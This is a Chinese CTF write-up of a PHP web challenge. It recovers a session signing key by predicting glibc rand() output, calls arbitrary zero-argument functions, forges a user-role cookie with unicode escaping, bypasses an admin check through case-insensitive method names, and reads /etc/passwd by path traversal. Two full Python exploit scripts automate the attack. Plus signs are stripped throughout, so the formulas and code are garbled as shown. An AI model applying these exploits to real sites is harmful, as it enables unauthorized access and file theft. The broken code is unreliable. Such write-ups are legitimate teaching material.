目标: http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php
随便写点东西,抓包,发现html源码里有个?x_show_source:
于是访问 http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php?x_show_source ,找到源码。
分析一下,发现这里每个新的session会生成两个随机字符串,SECRET_KEY和CSRF_TOKEN。其中CSRF_TOKEN是防御CSRF的token,会直接显示在表单中;而SECRET_KEY是类似密钥的东西,在后面需要利用这个密钥给数据签名。
但密钥是不知道的,这就是本题第一个难点,如何得知密钥。我们看到随机字符串生成函数rand_str:
代码语言:javascript复制<?php
function rand_str($length = 16)
{
$rand = [];
$_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
for($i = 0; $i < $length; $i ) {
$n = rand(0, strlen($_str) - 1);
$rand[] = $_str{$n};
}
return implode($rand);
}
可见,这里用的是rand函数生成的随机数。在linux下,PHP的rand函数是调用glibc库中的rand函数,其实现是有缺陷的。可见这篇文章: http://www.sjoerdlangkemper.nl/2016/02/11/cracking-php-rand/
其提到一个公式:
state[i] = state[i-3] state[i-31]
也就是说,rand生成的第i个随机数,等于i-3个随机数加i-31个随机数的和。
所以,我们只要生成大于32个随机数,就可以陆续推测出后面的随机数是多少了。我们看到代码:
代码语言:javascript复制<?php
if(empty($_SESSION['SECRET_KEY'])) {
$_SESSION['SECRET_KEY'] = rand_str(6);
}
if(empty($_SESSION['CSRF_TOKEN'])) {
$_SESSION['CSRF_TOKEN'] = rand_str(16);
}
当一个新请求来到时,index.php会先生成6个随机数组成的字符串作为SECRET_KEY,再生成16个随机数组成的字符串CSRF_TOKEN,而且CSRF_TOKEN是已知的。那么一次请求最多生成22个随机数,是不到31的,所以并不能使用上面的公式。
我们知道HTTP1.1协议支持Keep-Alive,也就是说一个TCP连接支持收发多个HTTP数据包,只要TCP连接不断那么这个随机数生成就是连续的。所以我只需要发送两个带有Keep-Alive的数据包即可拿到一共44个随机数。
这44个随机数大概是这样的:
a[0]~a[5]未知 a[6]~a[21]已知 a[22]~a[27]未知 a[28]~a[43]已知
然后我们再次发送不带session的数据包,则再次生成『6未知 16已知』,这时『6未知』就可以推测了。根据公式,a[45] = a[14] a[42],而a[14]和a[42]正好是已知的;根据公式,a[50] = a[19] a[47],而a[14]和a[42]也是已知的。 所以,我们是可以推算出a[45]~a[50]这6个随机数的,进而推算出此时的SECRET_KEY。 当然,实际操作时会有一定误差,一般是推算出来的值比真实值小1。那么,我们一共推算6个随机数,可能的情况就是:
number 1 | number 2 | number 3 | number 4 | number 5 | number 6 |
---|---|---|---|---|---|
a | b | c | d | e | f |
a 1 | b 1 | c 1 | d 1 | e 1 | f 1 |
做一个笛卡尔乘积,一共得到如下一些情况:
代码语言:javascript复制[('a', 'b', 'c', 'd', 'e', 'f'),
('a', 'b', 'c', 'd', 'e', 'f 1'),
('a', 'b', 'c', 'd', 'e 1', 'f'),
('a', 'b', 'c', 'd', 'e 1', 'f 1'),
('a', 'b', 'c', 'd 1', 'e', 'f'),
('a', 'b', 'c', 'd 1', 'e', 'f 1'),
('a', 'b', 'c', 'd 1', 'e 1', 'f'),
('a', 'b', 'c', 'd 1', 'e 1', 'f 1'),
('a', 'b', 'c 1', 'd', 'e', 'f'),
('a', 'b', 'c 1', 'd', 'e', 'f 1'),
('a', 'b', 'c 1', 'd', 'e 1', 'f'),
('a', 'b', 'c 1', 'd', 'e 1', 'f 1'),
('a', 'b', 'c 1', 'd 1', 'e', 'f'),
('a', 'b', 'c 1', 'd 1', 'e', 'f 1'),
('a', 'b', 'c 1', 'd 1', 'e 1', 'f'),
('a', 'b', 'c 1', 'd 1', 'e 1', 'f 1'),
('a', 'b 1', 'c', 'd', 'e', 'f'),
('a', 'b 1', 'c', 'd', 'e', 'f 1'),
('a', 'b 1', 'c', 'd', 'e 1', 'f'),
('a', 'b 1', 'c', 'd', 'e 1', 'f 1'),
('a', 'b 1', 'c', 'd 1', 'e', 'f'),
('a', 'b 1', 'c', 'd 1', 'e', 'f 1'),
('a', 'b 1', 'c', 'd 1', 'e 1', 'f'),
('a', 'b 1', 'c', 'd 1', 'e 1', 'f 1'),
('a', 'b 1', 'c 1', 'd', 'e', 'f'),
('a', 'b 1', 'c 1', 'd', 'e', 'f 1'),
('a', 'b 1', 'c 1', 'd', 'e 1', 'f'),
('a', 'b 1', 'c 1', 'd', 'e 1', 'f 1'),
('a', 'b 1', 'c 1', 'd 1', 'e', 'f'),
('a', 'b 1', 'c 1', 'd 1', 'e', 'f 1'),
('a', 'b 1', 'c 1', 'd 1', 'e 1', 'f'),
('a', 'b 1', 'c 1', 'd 1', 'e 1', 'f 1'),
('a 1', 'b', 'c', 'd', 'e', 'f'),
('a 1', 'b', 'c', 'd', 'e', 'f 1'),
('a 1', 'b', 'c', 'd', 'e 1', 'f'),
('a 1', 'b', 'c', 'd', 'e 1', 'f 1'),
('a 1', 'b', 'c', 'd 1', 'e', 'f'),
('a 1', 'b', 'c', 'd 1', 'e', 'f 1'),
('a 1', 'b', 'c', 'd 1', 'e 1', 'f'),
('a 1', 'b', 'c', 'd 1', 'e 1', 'f 1'),
('a 1', 'b', 'c 1', 'd', 'e', 'f'),
('a 1', 'b', 'c 1', 'd', 'e', 'f 1'),
('a 1', 'b', 'c 1', 'd', 'e 1', 'f'),
('a 1', 'b', 'c 1', 'd', 'e 1', 'f 1'),
('a 1', 'b', 'c 1', 'd 1', 'e', 'f'),
('a 1', 'b', 'c 1', 'd 1', 'e', 'f 1'),
('a 1', 'b', 'c 1', 'd 1', 'e 1', 'f'),
('a 1', 'b', 'c 1', 'd 1', 'e 1', 'f 1'),
('a 1', 'b 1', 'c', 'd', 'e', 'f'),
('a 1', 'b 1', 'c', 'd', 'e', 'f 1'),
('a 1', 'b 1', 'c', 'd', 'e 1', 'f'),
('a 1', 'b 1', 'c', 'd', 'e 1', 'f 1'),
('a 1', 'b 1', 'c', 'd 1', 'e', 'f'),
('a 1', 'b 1', 'c', 'd 1', 'e', 'f 1'),
('a 1', 'b 1', 'c', 'd 1', 'e 1', 'f'),
('a 1', 'b 1', 'c', 'd 1', 'e 1', 'f 1'),
('a 1', 'b 1', 'c 1', 'd', 'e', 'f'),
('a 1', 'b 1', 'c 1', 'd', 'e', 'f 1'),
('a 1', 'b 1', 'c 1', 'd', 'e 1', 'f'),
('a 1', 'b 1', 'c 1', 'd', 'e 1', 'f 1'),
('a 1', 'b 1', 'c 1', 'd 1', 'e', 'f'),
('a 1', 'b 1', 'c 1', 'd 1', 'e', 'f 1'),
('a 1', 'b 1', 'c 1', 'd 1', 'e 1', 'f'),
('a 1', 'b 1', 'c 1', 'd 1', 'e 1', 'f 1')]
依次试一遍就好了。
0x02 PHP鸡肋任意代码执行
依次测试上述推测出的SECRET_KEY,当页面返回值不再提示Permission deny!!时,说明预测准确。此时我们拿到了SECRET_KEY,即可计算hmac,实际上计算hmac是为了控制act,act是后面PHP执行的函数:
代码语言:javascript复制<?php
if(hash_hmac('md5', $act, $_SESSION['SECRET_KEY']) === $key) {
if(function_exists($act)) {
$exec_res = $act();
output($exec_res);
} else {
show_error_page("Function not found!!");
}
} else {
show_error_page("Permission deny!!");
}
$act()
,这里等于说存在一个『任意代码执行』漏洞。但这个漏洞比较鸡肋,虽然可以执行任意函数,但因为没有传入参数,所以导致执行诸如assert、system之类的函数是没用的,会报错:

那么,我们只能利用php里一些不含参数的函数。php里有几个get开头的函数,其效果还是蛮强的:
主要有以下一些:
- get_defined_functions 可以获取所有已经定义的函数
- get_defined_constants 可以获取所有已经定义的常量
- get_defined_vars 可以获取所有已经定义的变量
- get_included_files 可以获取所有已经包含的文件
- get_loaded_extensions 可以获取所有加载的扩展
- get_declared_classes 可以获取所有已经声明的类
- get_declared_interfaces 可以获取所有已经声明的接口
其中,第1~4个方法十分致命。一般一个网站加密密钥、数据库配置信息多半存在常量或全局变量中,通过第2、3个方法即可全部获取,而通过第1、4个方法可以大致获取网站结构,了解函数状况。
这里,我们通过调用get_defined_functions,即可获得一个包含所有已经定义的函数的数组。不过,我们需要设置HTTP头:
代码语言:javascript复制<?php
function output($obj)
{
if(isset($_SERVER['HTTP_X_REQUESTED_WITH']) &&
strcasecmp($_SERVER['HTTP_X_REQUESTED_WITH'], 'XMLHttpRequest') === 0) {
header("Content-Type: application/json");
echo json_encode($obj);
} else {
header("Content-Type: text/html; charset=UTF-8");
echo strval($obj);
}
}
因为我们要获取的是数组,数组直接输出是会被强制转换成字符串的。所以我将X-REQUESTED-WITH设置为XMLHttpRequest,即可让输出结果转换成json,这样数组就被保留了:
输出所有函数,我发现用户函数中有几个函数在源码中没看到:_fd_init,fd_show_source,fd_config,fd_error,fg_safebox
分别执行一下,发现fd_show_source是读取源码:
0x03 提权 任意文件读取漏洞
整理一下这个源码,发现主要逻辑在fg_safebox函数中,观察一下:
代码语言:javascript复制<?php
function fg_safebox()
{
_fd_init();
$config = fd_config();
$action = isset($_POST['method']) ? $_POST['method'] : "";
$role = isset($_SESSION["userinfo"]['role']) ? $_SESSION["userinfo"]['role'] : "";
if(!in_array($role, ['admin', 'user'])) {
return fd_error('Permission denied!!');
}
if(in_array($action, $config['role']['admin']) && $role != "admin") {
return fd_error('Admin permission denied!!');
}
$box = new SafeBox();
if(method_exists($box, $action)) {
return call_user_func([$box, $action]);
} else {
return null;
}
}
先调用了_fd_init()。然后检查用户session[role]是否是admin或user,并检查用户是否有权限执行某函数。
先看看_fd_init:
代码语言:javascript复制<?php
function _fd_init()
{
//定义role必须为guest
$_SESSION["userinfo"] = [
"role" => "guest"
];
$cookie = isset($_COOKIE['userinfo']) ? base64_decode($_COOKIE['userinfo']) : "";
if(empty($cookie) || strlen($cookie) < 32) {
return false;
}
$h1 = substr($cookie, 0, 32);
$h2 = substr($cookie, 32);
if($h1 !== hash_hmac("md5", $h2, $_SESSION['SECRET_KEY'])) {
return false;
}
//防止身份伪造
if(strpos($h2, "admin") !== false || strpos($h2, "user") !== false) {
return false;
}
$s = json_decode($h2, true);
$s['role'] = strval($s['role']);
if($s['role'] == 'admin') {
return false;
}
$_SESSION["userinfo"] = array_merge($_SESSION["userinfo"], $s);
return true;
}
实际上是从cookie中取出信息并用json_decode解码后作为session,我们的目标是控制$_SESSION['userinfo']['role']
。有三个地方注意一下就好了:
- cookie中取出的信息先进行签名认证,但因为密钥SECRET_KEY已经拿到了,所以不成问题
- admin和user这两个字符串不能出现在json中,我们可以利用unicode编码,比如{<q>role</q>: <q>u0075ser</q>}
- role的值不能为admin
主要是第三个问题,role的值不能是admin,那么执行不了read方法:
代码语言:javascript复制<?php
private function _read_file($filename)
{
$filename = dirname(__FILE__) . "/" . $filename;
return file($filename);
}
public function read()
{
$filename = isset($_POST['filename']) ? $_POST['filename'] : "box.txt";
return $this->_read_file($filename);
}
而read方法很明显是有任意文件读取漏洞的,所以现在做的是提权。
我们执行fd_config()函数,可以得到权限分配的数组:

可以看到,admin对应的方法有read,而user对应的方法有view、alist、random,在flag.php的97行对权限进行检查:
代码语言:javascript复制<?php
if(in_array($action, $config['role']['admin']) && $role != "admin") {
return fd_error('Admin permission denied!!');
}
当action在config['role']['admin']数组中时,如果你的role又不是admin,则提示权限错误。
其实这里又涉及到php的大小写敏感问题,php语言的方法名、类名、函数名是大小写不敏感的,也就是说平时执行phpinfo()可以读取php信息,执行PhPInfO()效果也是一样的。
所以,我只需要传入的$action
为READ等包含大写字母即可绕过in_array的限制,而最后仍然可以执行read方法。
执行read方法后即可读取任意文件,按常规渗透方式读取一些常见文件
代码语言:javascript复制/etc/passwd
/etc/hosts
/etc/apache2/httpd.conf
/etc/php5/php.ini
/etc/cron
在/etc/apache2/httpd.conf的最后几行发现flag:
0x04 编写脚本
这个题其实难度并不大,但复杂,十分复杂,几乎不可能通过手工拿到flag,必须要写脚本。 首先,我要先写一个获取SECRET_KEY的脚本,就是我在0x01中说到的,利用rand函数缺陷预测SECRET_KEY,并通过笛卡尔乘积生成可能的情况,一一测试,最终找到正确的SECRET_KEY。 给出我的脚本:
代码语言:javascript复制#!/usr/bin/env python
import requests
import re
import itertools
import random
import string
import hmac
import hashlib
import sys
rand = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"
def get_csrf_token(res):
rex = re.search(r'name="CSRF_TOKEN" value="(w )"', res.content)
return rex.group(1)
def str_to_random(lst):
return [rand.find(s) for s in lst]
def random_to_str(lst):
return ''.join([rand[i] if 0 <= i < len(rand) else '0' for i in lst])
def calc_key(lst):
for i in range(len(lst), len(lst) 6):
assert(lst[i - 31] != -1)
assert(lst[i - 3] != -1)
lst.append((lst[i - 31] lst[i - 3]) % len(rand))
return lst[-6:]
def test_token(s, secret):
res = s.get(target)
token = get_csrf_token(res)
res = s.post(target, data={
"submit": "1",
"CSRF_TOKEN": token,
"act": "phpinfo",
"key": hash_hmac("phpinfo", secret)
})
if res.content.find("Permission deny!!") < 0:
sys.stdout.write("n")
print("[cookies ]", s.headers['Cookie'])
print("[key ]", secret)
print("[content ]", res.content)
return True
else:
sys.stdout.write(".")
sys.stdout.flush()
return False
def hash_hmac(data, key):
h = hmac.new(key, data, hashlib.md5)
return h.hexdigest()
def rand_str(length):
return ''.join(random.choice(string.letters string.digits) for _ in range(length))
def calc_maybe(lst):
prd = []
for i in lst:
prd.append((i, i 1))
return itertools.product(*prd)
rand_lst = []
s = requests.session();
s.headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
".0.2704.63 Safari/537.36"
}
for i in range(2):
s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
res = s.get(target)
token = get_csrf_token(res)
rand_lst = list("x00" * 6)
rand_lst = list(token)
#print(rand_lst)
rand_lst = str_to_random(rand_lst)
key_arr = calc_key(rand_lst)
print("[calc key] ", key_arr)
s.headers['Cookie'] = "PHPSESSID={};".format(rand_str(12))
for fkey in calc_maybe(key_arr):
if test_token(s, random_to_str(fkey)):
break
有几点要注意的:
- CSRF_TOKEN每次使用完就会销毁,所以每次发送POST请求之前都需要获取一个CSRF_TOKEN
- 为了保证Keep-Alive,使用requests库的session类来维持会话
- 为了生成44个随机数,需要发送两次数据包,发送数据包前需要更换sessionid,否则第二次不会再生成新的随机数。我的做法是发送前自己生成随机字符串作为sessionid
- 笛卡尔积可以用python的itertools.product方法
- 最终获取准确的secret_key后,要输出这个secret_key,同时还要输出当前sessionid,后续操作均需要带着这个sessionid
这个脚本有一定的失败率,具体为什么不细讲了,多试几次肯定Ok就是了:
拿到key了,然后我们再写一个脚本。这个脚本的目的是读取文件:
代码语言:javascript复制#!/usr/bin/env python
import hmac
import hashlib
import sys
import requests
import re
import urlparse
import json
import base64
import urllib
secret = "5ist0d"
session = "eiZCh9cVSo35"
target = "http://0dac0a717c3cf340e.jie.sangebaimao.com:82/index.php"
def get_csrf_token(res):
rex = re.search(r'name="CSRF_TOKEN" value="(w )"', res.content)
return rex.group(1)
def hash_hmac(data, key):
h = hmac.new(key, data, hashlib.md5)
return h.hexdigest()
if __name__ == '__main__':
func = sys.argv[1]
post_data = {}
cookie = '{"role": "\u0075ser"}'
auth = hash_hmac(cookie, secret)
s = requests.session()
s.headers = {
"Cookie": "PHPSESSID={}; userinfo={}".format(session, urllib.quote(base64.b64encode(auth cookie))),
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) "
"AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51"
".0.2704.63 Safari/537.36",
"X-REQUESTED-WITH": "XMLHttpRequest"
}
res = s.get(target)
token = get_csrf_token(res)
post_data.update({
"submit": "1",
"CSRF_TOKEN": token,
"act": func,
"key": hash_hmac(func, secret),
"method": "reaD",
"filename": "../../etc/passwd"
})
res = s.post(target, data=post_data)
print(res.content)
将刚才获取的secret和sessionid填入脚本,执行即可读取../../etc/passwd文件。我们可以在sys.argv[1]传入想执行的函数,比如
代码语言:javascript复制./calc.py fd_show_source
./calc.py fd_config
./calc.py fg_safebox
当然,最终我们要执行的是fg_safebox,在post包中设置method=reaD,filename是想读的文件,cookie中配置好role=user的json字符串,执行即可: